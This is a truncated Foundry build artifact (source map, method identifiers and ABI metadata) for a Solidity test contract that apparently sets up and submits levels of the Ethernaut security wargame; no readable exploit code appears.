;;;;;;;;;;;;;;;;;-1:-1:-1;1919:8:140;;1974:6;;1955:26;;;;;-1:-1:-1;;;;;1974:6:140;;;1955:26;;;847:74:155;1859:50:140;;-1:-1:-1;1919:8:140;;:16;;1859:50;;1919:8;;1955:18;;820::155;;1955:26:140;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1919:63;;;;;;;;;;-1:-1:-1;;;;;18347:55:155;;;1919:63:140;;;18329:74:155;18419:18;;;18412:34;18302:18;;1919:63:140;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;2016:8:140;;2027:6;;1992:42;;;;;-1:-1:-1;;;;;2016:8:140;;;1992:42;;;19473:34:155;2027:6:140;;;19523:18:155;;;19516:43;1992:15:140;;;;;;19385:18:155;;1992:42:140;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2076:9:140;;2095:8;;2045:61;;-1:-1:-1;2056:49:140;;-1:-1:-1;;;;;;2076:9:140;;;;2095:8;2056:19;:49::i;:::-;2045:10;:61::i;:::-;1817:296;1789:324::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;19851:15:155;;;19833:34;;19903:15;;;19898:2;19883:18;;19876:43;19955:15;;;19950:2;19935:18;;19928:43;19760:2;19745:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1597:137:140;1648:6;;1634:21;;-1:-1:-1;;;1634:21:140;;-1:-1:-1;;;;;1648:6:140;;;1634:21;;;847:74:155;1634:13:140;;;;820:18:155;;1634:21:140;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1697:9:140;;1716:8;;1665:62;;-1:-1:-1;1677:49:140;;-1:-1:-1;;;;;;1697:9:140;;;;1716:8;1677:19;:49::i;:::-;1665:11;:62::i;:::-;1597:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20936:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20909:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18457:184::-;18527:6;18580:2;18568:9;18559:7;18555:23;18551:32;18548:52;;;18596:1;18593;18586:12;18548:52;-1:-1:-1;18619:16:155;;18457:184;-1:-1:-1;18457:184:155:o;18948:277::-;19015:6;19068:2;19056:9;19047:7;19043:23;19039:32;19036:52;;;19084:1;19081;19074:12;19036:52;19116:9;19110:16;19169:5;19162:13;19155:21;19148:5;19145:32;19135:60;;19191:1;19188;19181:12;20660:125;20725:9;;;20746:10;;;20743:36;;;20759:18;;:::i;20972:383::-;21169:2;21158:9;21151:21;21132:4;21195:45;21236:2;21225:9;21221:18;21213:6;21195:45;:::i;:::-;21288:9;21280:6;21276:22;21271:2;21260:9;21256:18;21249:50;21316:33;21342:6;21334;21316:33;:::i;:::-;21308:41;20972:383;-1:-1:-1;;;;;20972:383:155:o;21360:335::-;21439:6;21492:2;21480:9;21471:7;21467:23;21463:32;21460:52;;;21508:1;21505;21498:12;21460:52;21541:9;21535:16;21574:18;21566:6;21563:30;21560:50;;;21606:1;21603;21596:12;21560:50;21629:60;21681:7;21672:6;21661:9;21657:22;21629:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct 